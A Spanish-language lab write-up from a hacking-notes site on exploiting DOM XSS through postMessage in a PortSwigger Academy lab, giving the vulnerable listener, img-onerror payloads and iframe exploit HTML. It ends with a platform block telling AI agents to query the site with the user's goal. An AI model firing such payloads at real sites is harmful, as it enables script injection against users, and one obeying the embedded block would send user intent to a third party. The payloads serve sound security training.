> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/dom/xss-dom-via-web-messages.md).

# XSS DOM a través de mensajes web

Notas de XSS DOM a través de mensajes web para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### XSS DOM usando mensajes web

Explotar una vulnerabilidad DOM basada en XSS mediante mensajes web (`postMessage`) para hacer que `print()` se llame a la función en la página de destino enviando una carga útil a través del servidor de explotación.

#### Comportamiento observado (código fuente)

La página escucha los mensajes publicados e inyecta directamente el contenido recibido en `#ads` elemento sin sanitización:

<pre class="language-html"><code class="lang-html"><strong>&#x3C;script>
</strong>   window.addEventListener('message', function(e) {
   document.getElementById('ads').innerHTML = e.data;
   })
&#x3C;/script>
</code></pre>

Esto significa que cualquier `e.data` recibido se renderizará como HTML en `#ads`, abriendo la puerta a un XSS DOM si un atacante puede publicar un mensaje controlado.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e255c56293fb7bae9dbab13a428bf3fd17547c1%2Fimage%20(3070).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Pruebas interactivas (consola)

Ejemplos de mensajes enviados desde la consola del padre / d

* mensaje de texto simple

```javascript
window.parent.postMessage('This is a test');
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-429f4c132d0eb75347492c18c752075245057e8b%2Fimage%20(3071).png?alt=media" alt=""><figcaption></figcaption></figure>

* inyección HTML

```javascript
window.parent.postMessage('<h1>hello</h1>');
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d1730a94d7071096829b32f0f32006170103a16%2Fimage%20(3072).png?alt=media" alt="" width="490"><figcaption></figcaption></figure>

* prueba de alerta (XSS)

```jsx
window.parent.postMessage("<img src='0' onerror=alert(0)>");
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d84d36b99e74e9f1a4b4dfe32e90ec8a05bab60d%2Fimage%20(3073).png?alt=media" alt=""><figcaption></figcaption></figure>

* causar `print()` (lente del laboratorio)

```javascript
window.parent.postMessage("<img src='0' onerror=print()>");
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f68c2c3630c353a787797ff5fdf2d819d845dd6f%2Fimage%20(3074).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Explotación con iframe en el servidor de explotación

Ejemplo del HTML alojado en tu servidor que carga la página de destino en un iframe y luego publica la carga útil al cargar el iframe:

```mathml
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('This is a test', '*');">
</iframe>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49f7c1216c1c946e33a1a7aec7b85211c5bc6d3a%2Fimage%20(3075).png?alt=media" alt=""><figcaption></figcaption></figure>

Para desencadenar `print()` en la página de destino, envía la carga útil que contiene `img` elemento con `onerror=print()`:

```html
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('<img src=0 onerror=print()>', '*');">
</iframe>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ebf4072e57d42638df89f8e948bd581b7d26a8b5%2Fimage%20(3076).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/dom/xss-dom-via-web-messages.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
